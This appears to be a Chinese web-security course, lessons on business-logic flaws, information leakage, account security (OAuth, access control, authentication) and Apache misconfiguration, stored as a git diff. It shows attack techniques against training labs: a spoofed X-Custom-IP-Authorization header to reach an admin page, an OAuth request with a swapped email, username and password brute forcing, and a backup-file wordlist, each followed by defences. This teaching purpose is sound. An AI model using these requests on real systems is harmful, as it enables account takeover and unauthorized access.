首先,我们回顾下之前学习的那个购物网站,我们利用BurpSuite修改了产品的价格,导致可以用1美分购买原本价格昂贵的大衣。这是网购中典型的业务逻辑漏洞,它仅仅在客户端做了些输入限制,我们很容易就可以绕过它。这个逻辑漏洞是由于对客户端验证的过度信任造成的。
|
||||
|
||||
应用如果没有做好对异常输入的处理,也会造成逻辑漏洞。下面,让我们再看一个简单的示例。
|
||||
|
||||
$transferAmount = $_POST['amount'];
|
||||
$currentBalance = $user->getBalance();
|
||||
if ($transferAmount <= $currentBalance) {
|
||||
// Complete the transfer
|
||||
} else {
|
||||
// Block the transfer: insufficient funds
|
||||
}
|
||||
|
||||
|
||||
这是一个银行转账应用,用户可以通过POST方式上传转账的金额。我们不难看出它判断了转账金额是否超出余额,如果余额支持转账,那么就进行交易操作,否则拒绝交易。这是一个正确的逻辑,但是如果攻击者将amount设置为负值,那么攻击者就会收到它的绝对值的金额。这就是一个业务逻辑漏洞,它产生的原因就是应用没有对异常输入做正确处理。
|
||||
|
||||
看完这些可怕的逻辑漏洞实例,我们不难知道,做好业务逻辑漏洞的抵御措施是非常重要的。所以我们也不妨学习下如何抵御业务逻辑漏洞吧!
|
||||
|
||||
业务逻辑漏洞的抵御
|
||||
|
||||
简单来说,抵御业务逻辑漏洞有两个关键。第一点,确保应用的开发者和测试者理解应用的功能。第二点,避免开发者对用户的行为以及应用其他部分的行为做出错误的预期。
|
||||
|
||||
展开来说,我们需要明确自己对应用输入作出的预期假设,并执行必要的逻辑验证去判断输入是否符合预期,在将所有的输入经过验证之后才予以使用。
|
||||
|
||||
同时,确保所有的开发者和测试者完全理解,开发时做出的假设输入以及应用在不同的情形下进行的响应,这可以帮助应用开发团队尽早发现逻辑漏洞。
|
||||
|
||||
当我们发现一个逻辑漏洞时,我们可以分析Web应用中存在的逻辑缺陷,帮助我们发现应用其他的弱点,然后将发现的弱点统统解决掉,这可以让我们的业务逻辑更加安全。
|
||||
|
||||
总结
|
||||
|
||||
在今天的学习中,我们完整地学习了业务逻辑漏洞。
|
||||
|
||||
首先,我们学习了什么是业务逻辑漏洞,在学习过程中,我们看了一个卖衣服的示例,了解到业务逻辑漏洞就是,应用的开发者在设计一个Web应用时,没有进行充分的考虑,导致Web应用的逻辑设计不够充分,从而引起的安全问题。
|
||||
|
||||
然后,我们进一步分析了业务逻辑漏洞的产生原因,它主要是由于应用的设计者对于用户的行为作出了错误的预期,并且对用户的输入限制做得不到位,使得应用在处理预期之外的输入时,做出错误的处理,这就导致了业务逻辑漏洞。
|
||||
|
||||
接下来,我们分析了业务逻辑漏洞的影响,了解到由于业务逻辑的不同,业务逻辑漏洞造成的影响也不同,这与它的功能相关,例如授权机制的逻辑漏洞会造成数据泄漏的影响。
|
||||
|
||||
最后,我们了解了现实中的业务逻辑漏洞示例,分析它们的引起方式有过度信任客户端验证以及错误处理非预期输入。它们造成的后果都是非常严重的,所以我们还学习了抵御这一漏洞的方法,知道了防范业务逻辑漏洞需要做到两个关键,即确保应用的开发者和测试者理解应用的功能,并且避免开发者对用户的行为以及应用其他部分的行为做出错误的预想。
|
||||
|
||||
思考题
|
||||
|
||||
你能想出一个其他的业务逻辑漏洞示例吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
168
专栏/Web漏洞挖掘实战/26包含敏感信息的报错:将安全开发标准应用到项目中.md
Normal file
168
专栏/Web漏洞挖掘实战/26包含敏感信息的报错:将安全开发标准应用到项目中.md
Normal file
@ -0,0 +1,168 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
26 包含敏感信息的报错:将安全开发标准应用到项目中
|
||||
你好,我是王昊天。
|
||||
|
||||
在如今的信息时代里,个人隐私是非常重要的,我们每个人都会有自己的隐私信息,这些信息可能存在于日记本、手机或者Web应用的数据库中。其中如果Web应用中存在信息泄露漏洞,用户的隐私信息就有可能被攻击者获取到。那么攻击者是如何获取的呢?这节课我们就一起看看,顺便加强一下安全开发标准。
|
||||
|
||||
接下来我们将分为四个部分进行学习,这里包括信息泄露漏洞的定义、示例、原因及防御方案。
|
||||
|
||||
|
||||
|
||||
首先,让我们从最基础的定义开始。
|
||||
|
||||
信息泄露漏洞的定义
|
||||
|
||||
当攻击者恶意发起一些Web应用设计者预期之外的操作,使得Web应用无意的将一些敏感信息展示给攻击者,这就是信息泄露漏洞。这些敏感信息可能是其他用户的隐私信息、敏感的商业信息以及Web网站的技术细节。
|
||||
|
||||
其中,我们很容易知道,泄露用户的隐私信息和敏感的商业信息都是非常危险的,而Web网站的技术信息泄露其实也很重要,攻击者很可能会借助这些信息,实现对这个Web应用的恶意攻击行为。
|
||||
|
||||
信息泄露的示例
|
||||
|
||||
当然了,确实有很多种方式会导致信息泄露漏洞,我们不妨一起看几个示例吧。这里包括robots.txt 信息泄露、备份文件信息泄露、报错信息泄露以及非必要敏感信息展示等等。接下来我们逐一看下。
|
||||
|
||||
|
||||
|
||||
robots.txt信息泄露
|
||||
|
||||
在一些Web应用目录下,会存在一个名为robots.txt的文件,这个文件主要是用来限制整个站点的搜索引擎访问情况,即设置哪些内容可以被访问,哪些内容不可以被访问。如果在这个文件中,包含了用户不可见目录的信息、结构以及内容,那么攻击者就可以访问这个文件来获取这些隐私信息,这就是一个典型的信息泄露示例。
|
||||
|
||||
例如,在这个Web应用中的目录信息下,就存在images、content等不允许被访问的文件夹。
|
||||
|
||||
|
||||
|
||||
接下来,让我们继续学习备份文件引起的信息泄露。
|
||||
|
||||
备份文件信息泄露
|
||||
|
||||
Web应用管理者,在更新Web应用时,很可能会将网页内容进行备份。如果管理者出于方便考虑,直接将备份文件放到网站目录下,并且没有对它进行访问控制的设置,那么攻击者就可以直接访问这个文件名,来获取备份文件。
|
||||
|
||||
那么攻击者是如何知道Web应用可能存在的备份文件名的呢?事实上,攻击者也不知道具体的备份文件名,而是利用一个常见备份文件名的字典文件来进行枚举测试,如果备份文件名很简单,那么攻击者就很可能成功获取到备份文件。
|
||||
|
||||
为了让你更好地理解这个过程,我们一起看看下面这个备份文件字典示例:
|
||||
|
||||
/2022.zip
|
||||
/a.zip
|
||||
/old.zip
|
||||
/web.zip
|
||||
/1.zip
|
||||
/a.zip
|
||||
/2021.zip
|
||||
/1.rar
|
||||
......
|
||||
|
||||
|
||||
我们可以看到,字典文件中列举了一些常见的备份文件名称,攻击者就是用它们去对攻击的Web应用进行测试。
|
||||
|
||||
攻击者如果获取到备份文件,那么他就可以获得网页的源代码,这使得他更容易对Web应用进行分析,从而实施自己的攻击行为。
|
||||
|
||||
下面,我们来看报错信息泄露,它的严重性可能会进一步升级。
|
||||
|
||||
报错信息泄露
|
||||
|
||||
我们知道,如果我们对Web应用进行错误的操作,那么就可能会得到一些报错信息,比如下面这个示例:
|
||||
|
||||
|
||||
|
||||
这是一个购物信息网站,里面有各种商品,我们可以选择自己感兴趣的商品点击View details进行观看。这里我对这条会飞的小狗很感兴趣,让我们一起看看它的详细信息吧。
|
||||
|
||||
|
||||
|
||||
从图中,我们已经看到这条飞狗的详细描述了。此外,我们还发现,这个Web应用是通过GET方式上传参数productId。为了让页面显示出报错信息,我们将productId的值改为一个字符类型例如App,这样页面就可能会出现参数类型错误。
|
||||
|
||||
可以看到,页面确实爆出来了很多错误信息。
|
||||
|
||||
|
||||
|
||||
这里错误页面中包含了很多的Java程序信息,它们都属于Web应用的技术细节。如果这些信息被泄露出去,那么会对网站的安全造成极大的威胁。
|
||||
|
||||
最后,让我们一起来看一个危险性没有那么强的非必要敏感信息泄露。
|
||||
|
||||
非必要敏感信息泄露
|
||||
|
||||
非必要敏感信息泄露就是,Web应用将一些较为敏感的信息非必要地展示给其他用户。
|
||||
|
||||
举一个简单的例子,就比如有个购物应用,我们需要向商家购买商品,按照道理商家只需要知道我们的地址信息、联系方式即可完成货物的发送,但是Web应用却将我们的身份证号码、银行卡账号都展示给了商家。对于商家而言这是非必要的信息,可是Web应用却将这些隐私信息展示给了他们。这就是非必要敏感信息泄露,它会对用户的账户安全产生威胁。
|
||||
|
||||
到这里,我们就学习完了信息泄露漏洞的示例,这让我们更加具体地了解了信息泄露漏洞的实际场景。接下来,让我们进一步分析这个可怕的漏洞产生的原因。
|
||||
|
||||
信息泄露漏洞的原因
|
||||
|
||||
信息泄露漏洞产生的方式多种多样,不过它可以分为三种类型。
|
||||
|
||||
第一种类型为,Web应用的开发者在开发时需要写入一些调试信息,来方便自己及他人的合作开发,这是正确的行为。但是部分开发者在将Web应用正式部署上线时,忘记将这些信息删除干净,导致用户可以看到这些信息,这就导致了信息的泄露。
|
||||
|
||||
第二种类型更加常见,它是由于Web应用的开发者没有正确的对Web页面进行配置。这使得在Web页面出现错误时,会详细的给用户展示出很多包含敏感信息的报错内容。我们在查看飞狗页面引起的报错中,就属于这种情况。
|
||||
|
||||
最后一种情况最为普遍,这是因为Web应用开发者的不安全设计所导致的,这么说可能会比较抽象,我们可以通过一个例子来理解。
|
||||
|
||||
|
||||
|
||||
这是一个设计上存在安全隐患的Web应用,我们用字典探测到它存在一个目录admin。于是访问上去发现,页面提示到这个页面仅允许本地用户访问,这句话就像一个间谍,它仿佛在告诉攻击者“只要伪装成本地用户就可以访问了”。
|
||||
|
||||
于是我们按照“间谍”的提示,尝试利用BurpSuite拦截这一请求,并利用添加配置 X-Custom-IP-Authorization: 127.0.0.1,将自己伪造成为本地用户,实现授权的限制。
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: ac5c1f411f91c174c07f828d004100b8.web-security-academy.net
|
||||
Cookie: session=A5X8EOtt3Wtp2QOAoWxnJYXfXd8NNWFm
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
#我们自己添加的IP信息。
|
||||
X-Custom-IP-Authorization: 127.0.0.1
|
||||
Connection: close
|
||||
|
||||
|
||||
将这个报文发送出去,我们可以发现,已经成功绕过授权机制了,获取到的页面如下:
|
||||
|
||||
|
||||
|
||||
可以看到,该页面列举出了一些用户的用户名信息,我们可以点击删除按钮,将它们删去。
|
||||
|
||||
这个授权绕过漏洞的根本原因就是信息泄露,所以应用开发者在设计Web应用时,需要避免隐私信息的泄露,否则很可能会对应用产生安全威胁。
|
||||
|
||||
那么在了解完一些信息泄露的原因后,我们就可以对症下药,学习如何防御信息泄露漏洞了。
|
||||
|
||||
信息泄露漏洞的防御
|
||||
|
||||
因为造成信息泄露的途径多种多样,所以我们很难全面的去做好对信息泄露漏洞的防御。不过我们还是要采取一些措施,来降低信息泄露漏洞的可能性。
|
||||
|
||||
首先,我们需要让所有的Web应用开发者知道什么是敏感信息,因为有些信息可能看起来很安全,没有什么危险之处,但事实上它的泄露会给应用造成极大的安全威胁。
|
||||
|
||||
其次,我们要做到让报错信息趋于通用化,而不是在报错信息中将一些关于应用运行方式的线索传递给攻击者。
|
||||
|
||||
最后,我们还要彻底地理解Web应用程序运行的配置信息以及安全执行策略,然后禁用掉其中不需要的功能,防止这些功能造成信息泄露问题。
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了信息泄露漏洞相关的知识。
|
||||
|
||||
首先,我们学习了信息泄露漏洞的定义,了解到信息泄露漏洞就是攻击者恶意发起一些Web应用设计者预期之外的操作,使得Web应用无意的将一些敏感信息展示出来。
|
||||
|
||||
在明白了信息泄露漏洞的定义之后,我们看了一些信息泄露示例,值得一提的是那个飞翔的小狗示例,我们通过让页面输出报错信息,让Web应用将很多技术细节展示出来。而这些泄露示例,可以帮助我们更具体地理解信息泄露是怎么一回事。
|
||||
|
||||
之后,我们具体地分析了信息泄露漏洞产生的原因,并将这些原因归为三类。第一类为开发者对于调试信息的漏删,第二类为开发者没有对页面进行正确的配置,最后一类为开发者的不安全设计,它们都是信息泄露漏洞的罪魁祸首。
|
||||
|
||||
最后,我们学习了信息泄露漏洞的防御方案,知道了信息泄露漏洞是难以完全去除的,但是我们可以通过让开发者正确认知什么是敏感信息,将报错信息趋于通用化以及禁用不需要的功能来降低信息泄露漏洞发生的概率。
|
||||
|
||||
思考题
|
||||
|
||||
你觉得还有什么方法能帮助Web应用抵御信息泄露漏洞吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
223
专栏/Web漏洞挖掘实战/27用户账户安全:账户安全体系设计方案与实践.md
Normal file
223
专栏/Web漏洞挖掘实战/27用户账户安全:账户安全体系设计方案与实践.md
Normal file
@ -0,0 +1,223 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
27 用户账户安全:账户安全体系设计方案与实践
|
||||
你好,我是王昊天。
|
||||
|
||||
如今,几乎每个人都有自己的微信账号,我们可以用它来和别人聊天、付款、打车甚至玩游戏。这就是账户安全体系给我们带来的便利之处,我们并不需要重新注册游戏账号,也不用记住游戏的账号、密码就能玩这款游戏,你可能会因此觉得账户安全体系是一个非常成功的设计。
|
||||
|
||||
事实上,用户账户体系也存在很多的安全隐患,试想如果别人登录上你的微信账号会造成什么后果呢?他可能会观看你的聊天记录、诈骗你的好友、使用你的零钱以及破坏你的游戏账号。不难看出,后果是非常严重的,也因此可以理解用户账户安全的重要性。
|
||||
|
||||
那么这节课,就让我们从OAuth授权漏洞、访问控制漏洞及权限提升以及身份验证漏洞这三个方面详细地学习用户账户安全问题。首先,让我们来学习用户账户安全关于授权方面的问题——OAuth开放授权。
|
||||
|
||||
|
||||
|
||||
OAuth开放授权
|
||||
|
||||
现在很多的Web应用支持我们用其他Web应用的账号进行登录。使得我们不需要给每个Web应用都注册一个账号,这对我们来说非常方便。你可能会好奇这是如何实现的?为什么一个Web应用能用另一个Web应用的账号信息登录。事实上,它是使用OAuth框架来实现的这一方法的。
|
||||
|
||||
|
||||
|
||||
接下来,让我们具体学习什么是OAuth框架。
|
||||
|
||||
OAuth的功能
|
||||
|
||||
OAuth是一种常用的授权框架。Web应用程序可以利用它,对另一个Web应用的用户账户发起访问请求。值得一提的是,OAuth允许用户指定给另一个Web应用什么权限,而无需将自己的登录凭据全部发送给请求授权的应用程序。这里有一点需要注意,因为如今使用的授权机制几乎都是OAuth2.0,所以我们这里讲的OAuth指的是OAuth2.0。
|
||||
|
||||
而基本上所有的事物都会有它的双面性,虽然OAuth机制给我们带来了极大的便利,但是它也容易在执行过程中产生错误。这就导致了OAuth授权漏洞的产生,该漏洞可以帮助攻击者获取到其他用户的隐私信息,甚至绕过身份验证机制。
|
||||
|
||||
下面我们进一步看看这些功能的实现方式。
|
||||
|
||||
OAuth的实现方式
|
||||
|
||||
OAuth的授权过程会有三方参与,它们分别是待授权的Web应用、授权用户以及OAuth服务提供者。
|
||||
|
||||
实际上,OAuth有很多种不同的授权方式,我们往往会将这些不同的授权方式称为授权类型。目前,有两个授权类型得到了Web应用的广泛使用。它们分别为授权码授权和隐形授权,在授权过程中,它们都会经历下图中的六个阶段。
|
||||
|
||||
|
||||
|
||||
首先,待授权的Web应用会发起获取用户数据的请求,在这个请求中会包含授权类型以及它想要的访问权限。
|
||||
|
||||
接着,授权用户会自动登录到授权页面,同意待授权Web应用发起的获取数据请求。
|
||||
|
||||
然后待授权的Web应用就会收到一个唯一的访问令牌,这个令牌可以证明用户允许它访问请求的数据。
|
||||
|
||||
这样,客户端就可以使用这个令牌去调用相应的API接口,从保存用户数据的资源服务器获取到需要的数据,进而登陆成功。
|
||||
|
||||
这就是OAuth授权的理想实现方式。在部分授权类型中,OAuth授权对用户身份的验证方法存在错误,这就会导致OAuth授权漏洞,接下来让我们一起来学习这个漏洞吧。
|
||||
|
||||
OAuth授权漏洞
|
||||
|
||||
OAuth授权漏洞就是,因为OAuth授权对用户身份的验证方法存在错误,导致攻击者无需获取其他用户的授权就能实现登录上其他用户账户的问题。
|
||||
|
||||
这么说可能有点抽象,接下来让我们一起看一个示例:
|
||||
|
||||
|
||||
|
||||
这是一个博客页面,我们可以用其他网络应用的账号,利用OAuth实现授权登录。输入正确的账号密码后,我们登录成功,通过使用BurpSuite抓包,我们可以分析出授权的请求如下:
|
||||
|
||||
POST /authenticate HTTP/1.1
|
||||
Host: accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
|
||||
Cookie: session=4XXdLxkBBr2PHqqJiuogfnxTH5o84ixX
|
||||
Content-Length: 103
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Origin: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net/oauth-callback
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
{"email":"[email protected]","username":"wiener","token":"G3dOwAKEb2Dg2UnFfoH2UjVpGIaq833HrGaJg2_nEWg"}
|
||||
|
||||
|
||||
从这个请求中,我们容易分析出授权的令牌信息即为 Token 的内容。现在我们已知一个用户的邮箱为[email protected],尝试用如下报文实现对这个邮箱对应账户的登录。
|
||||
|
||||
POST /authenticate HTTP/1.1
|
||||
Host: accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
|
||||
Cookie: session=4XXdLxkBBr2PHqqJiuogfnxTH5o84ixX
|
||||
Content-Length: 103
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Origin: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net/oauth-callback
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
{"email":"[email protected]","username":"wiener","token":"G3dOwAKEb2Dg2UnFfoH2UjVpGIaq833HrGaJg2_nEWg"}
|
||||
|
||||
|
||||
我们仅仅需要将用户的邮箱改为[email protected],就可以尝试利用OAuth授权漏洞实现对其他用户账户的登录。
|
||||
|
||||
|
||||
|
||||
通过点击Request in browser,打开浏览器,看到我们已经成功登录上别人的账户。
|
||||
|
||||
|
||||
|
||||
这就是一个典型的OAuth授权漏洞,追究根本原因,就是因为它在对用户授权登录时使用了错误的账户验证方法。从上述示例中,我们已知OAuth漏洞的后果是非常严重的,所以做好OAuth授权机制非常重要。
|
||||
|
||||
到这里,你已经学习完了账户安全体系中关于OAuth授权机制相关的问题,接下来,让我们进入到对访问控制漏洞以及权限提升的学习中去吧!
|
||||
|
||||
访问控制漏洞及权限提升
|
||||
|
||||
作为Web应用的开发者,我们需要考虑哪些资源是哪种类型的用户可以访问的。举一个简单的例子,某网站的用户分为普通用户以及管理员,普通用户只可以查看及修改自己的资料,而管理员却可以查看及修改其他人的资料,这就是使用访问控制来实现的。
|
||||
|
||||
在如今的网络应用中,访问控制错误非常普遍,并且它往往会造成很严重的漏洞。那么什么是访问控制漏洞呢?
|
||||
|
||||
当攻击者可以通过一些恶意行为,使得他可以绕过访问控制,去执行一些Web应用不允许他执行的操作,这就是访问控制漏洞。例如,作为普通用户的攻击者无法查看和修改其他资料,但是攻击者可以通过一些手段,实现管理员才具有的权限操作,这就是一种权限提升的行为。
|
||||
|
||||
接下来,让我们看一个具体的示例:
|
||||
|
||||
|
||||
|
||||
这是一个购物网站,它的用户分为两类,一类为普通用户,一类为管理员。我们作为普通用户身份,仅仅可以实现购物操作,不过我们可以尝试绕过访问控制,执行管理员才能执行的一些操作。
|
||||
|
||||
不知道你是否还记得robots.txt文件,在之前的课程中,我们知道它是用来告诉我们,哪些文件是允许访问的,哪些是不可以的。我们首先看看这个Web应用是否含有robots.txt文件。
|
||||
|
||||
|
||||
|
||||
我们发现这个Web应用存在robots.txt文件,从这个文件的内容中,我们知道,这个Web应用的目录下,存在一个adminstrator-panel路径。从名称上,我们可以推断出,这个管理员控制台路径对应着管理员的控制功能。于是,我们尝试对其进行访问。
|
||||
|
||||
|
||||
|
||||
访问后发现,我们已经绕过了访问控制的限制。那在这个示例中,漏洞产生的原因就是没有对adminstractor-panel这个功能做一些保护,使得任意用户可以通过路径去对它进行访问,进而可以执行管理员才具有的功能。
|
||||
|
||||
到这里,你已经完成了对访问控制漏洞及权限提升的学习。接下来,让我们学习账户安全体系中关于身份验证漏洞的内容。
|
||||
|
||||
身份验证漏洞
|
||||
|
||||
不知道你有没有听过小兔子和大灰狼的故事?
|
||||
|
||||
故事的内容是,兔妈妈出去找食物,让小兔子一个人待在家里,这时候一个大灰狼来敲门,带上一个兔耳朵并谎称自己是兔妈妈,希望让小兔子上当,然后将门打开,这样自己就能吃到兔肉了。不过小兔子从它的声音判断出,它并不是自己的妈妈,并且没有开门,大灰狼只好灰溜溜的跑走。过了一段时间兔妈妈回来了,小兔子判断出她是兔妈妈,就给她开了门。
|
||||
|
||||
|
||||
|
||||
这其实就是身份验证问题,大灰狼虽然宣称自己是兔妈妈,但是小兔子根据声音判断出了它并不是。
|
||||
|
||||
在Web应用中也存在这样的身份验证机制,我们经常遇到的登录页面就是用来进行身份验证的,因为通常来说,只有用户本人知道自己的账户及密码信息。事实上,身份验证机制对于Web应用来说是非常重要的,如果没有它,Web应用就无法正确判断发送请求的用户身份,这会使得攻击者可以肆意伪装成其他用户发起恶意行为。
|
||||
|
||||
但身份验证机制并不是完美的,很多身份验证中都有漏洞的存在。接下来,让我们一起看一个示例,具体学习一下什么是身份验证漏洞。
|
||||
|
||||
|
||||
|
||||
这是一个用来身份验证的登录界面,通常来说,我们需要输入账号密码才能实现登录操作。但是我们没有账号密码,却依然能登录成功。
|
||||
|
||||
我们首先随意输入账号密码,然后点击登录按钮,接收到Web应用的如下响应:
|
||||
|
||||
|
||||
|
||||
可以看到,页面给了我们提示信息Invalid username。它直接告诉我们,输入的用户名无效。所以我们可以利用一个常用的用户名字典,来对它进行暴力破解,以尝试获取到有效的用户名。
|
||||
|
||||
|
||||
|
||||
获取到暴力破解的结果后,我们只需寻找其中响应长度不同的报文进行查看,因为这代表了页面对于这个payload的响应是与众不同的,这就很可能代表这个用户名有效。由于响应的内容由无效的用户名变为了错误的密码,所以我们可以判断出af是一个有效的用户名。
|
||||
|
||||
|
||||
|
||||
接着,我们将用户名改为af,然后再次用常见的密码字典实现对密码的暴力破解。
|
||||
|
||||
|
||||
|
||||
再次寻找报文长度不一致的请求,发现payload为12345,观察响应中没有报密码错误,所以我们发现用户名为af账号的密码是12345。
|
||||
|
||||
|
||||
|
||||
经过验证,登录成功。
|
||||
|
||||
这就是一个典型的身份验证漏洞,用暴力破解的方式获取到账号及密码。这样攻击者就完全可以利用它伪装成其他用户进行操作。
|
||||
|
||||
防御方案
|
||||
|
||||
在上述内容的学习中,我们知道了用户账户安全中存在的问题。那么有什么防御方案吗?一起看下。
|
||||
|
||||
OAuth漏洞的防御
|
||||
|
||||
在OAuth漏洞的讲解示例中,我们利用了之前获取到的授权令牌,实现了对另一个用户账户的授权登录。所以对于授权服务器来说,可以让授权令牌仅仅可用一次,这样就能很好地避免授权令牌的重复使用。对于待授权的客户端应用来说,可以将授权令牌绑定发起授权请求的用户,这样就使得攻击者无法使用自己的授权令牌来登录其他用户的账户。
|
||||
|
||||
访问控制漏洞及权限提升的防御
|
||||
|
||||
我们可以用两个方法实现对访问控制漏洞及权限提升的防御。第一个方法为,将所有非公开的资源默认设置为拒绝访问,这样就可以避免因为忘记配置拒绝访问而导致的访问控制漏洞。第二个方法为,对Web应用做好充分的访问测试,确保它们按照设计的方式运行,这样可以防止因为执行过程出错导致的访问控制漏洞。
|
||||
|
||||
身份验证漏洞的防御
|
||||
|
||||
为了使我们的Web应用免受身份验证漏洞造成的攻击,我们在开发时,需要遵守三个原则。第一个原则为注意验证用户的凭据,确保这个凭据只有用户拥有,且他人无法伪造,这样可以防止他人盗用身份。第二个原则为在登录时防止暴力破解,我们可以用验证码等操作来增加攻击者的攻击成本。第三个原则为多次检查身份验证逻辑,防止因为验证逻辑出现错误导致身份验证漏洞。
|
||||
|
||||
总结
|
||||
|
||||
在这节课程中,我们学习了用户账户安全方面的知识。我们首先了解到用户账户安全可以分为三个部分,即OAuth开放授权、访问控制漏洞及权限提升以及身份验证漏洞,然后对它们一一展开学习。
|
||||
|
||||
在对OAuth的学习中,我们知道了它是用来对第三方应用进行授权时用到的,待授权应用在请求权限时,会向OAuth服务器发送请求,然后用户会登录OAuth服务器并进行授权操作,OAuth服务器收到授权信息后会将访问令牌发送给待授权的Web应用,这样就完成了授权操作。了解完OAuth实现方法之后,我们根据一个OAuth漏洞示例,了解到OAuth漏洞产生的原因,即OAuth授权对用户身份的验证方法存在错误,导致攻击者无需获取其他用户的授权就能实现登录上其他用户账户的问题。
|
||||
|
||||
接下来,我们学习了访问控制漏洞及权限提升。我们首先了解了什么是访问控制,知道它是用来限制用户可访问资源的措施。当这个措施不够完善,使得用户可以绕过这个访问控制时,就代表访问控制漏洞的存在,用户可以凭此实现权限提升操作,去做一些自己原本没有权限执行的行为。
|
||||
|
||||
接着,我们学习了身份验证漏洞。同样,我们首先了解了什么是身份验证,身份验证顾名思义,就是用来对用户身份进行验证的措施,它可以防止攻击者伪造他人身份。当身份验证机制不够完善,导致攻击者可以通过一些手段,绕过身份验证机制,登录别人的账号,这就是身份验证漏洞。
|
||||
|
||||
最后,我们还学习了抵御这些用户账户安全问题的方法,这可以帮助我们构建更安全的账户安全体系。
|
||||
|
||||
思考题
|
||||
|
||||
你觉得保证用户账户安全的难点有哪些?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
220
专栏/Web漏洞挖掘实战/28安全配置错误:安全问题不只是代码安全.md
Normal file
220
专栏/Web漏洞挖掘实战/28安全配置错误:安全问题不只是代码安全.md
Normal file
@ -0,0 +1,220 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
28 安全配置错误:安全问题不只是代码安全
|
||||
你好,我是王昊天。
|
||||
|
||||
不知道你是否看见过下面这张图片?它是我们在使用Django编写后端程序时,经常会看到的报错页面。在这个报错页面中,我们可以看到这个Web应用的所有路径,这对于Web应用来说是极其危险的。
|
||||
|
||||
|
||||
|
||||
从页面最下方的提示信息中,我们可以知道,这是由于我们在Django的配置文件中,没有将DEBUG改为False导致的。所以这就是一个由于配置错误导致的Web应用安全问题。
|
||||
|
||||
其实,在Web应用中,安全配置问题还是很普遍的,这节课就让我们一起来深入学习下吧!
|
||||
|
||||
安全配置错误
|
||||
|
||||
在Web应用中,由于安全配置错误导致的安全问题屡见不鲜,这里我选取了Web应用中典型的一些安全配置问题来讲解,它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题,下面我们逐一看下。
|
||||
|
||||
|
||||
|
||||
Apache配置安全问题
|
||||
|
||||
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好,可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
|
||||
|
||||
我们可以将它简单理解为,当在一台机器上配置好Apache服务器,可利用它响应HTML页面的访问请求。
|
||||
|
||||
Apache软件有一个配置文件,它通常为httpd.conf,我们在启动自己的Web应用前,首先需要对它进行配置的修改。
|
||||
|
||||
|
||||
|
||||
如果我们希望,Apache在遇到扩展名为PHP的页面文件时,将它用x-httpd-php来解析,那么我们就可以在配置文件中添加代码 AddHandler application/x-httpd-php .php。之后,重启Apache服务,配置就能生效。
|
||||
|
||||
|
||||
|
||||
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
|
||||
|
||||
在此之前,我们需要学习一下Apache的基本特性。
|
||||
|
||||
|
||||
|
||||
Apache是从前往后开始识别文件扩展名的,例如遇到文件test.php.xyz.jpg时,它会将PHP识别为文件的扩展名,从而根据之前的配置,选择用x-httpd-php来对它进行解析。
|
||||
|
||||
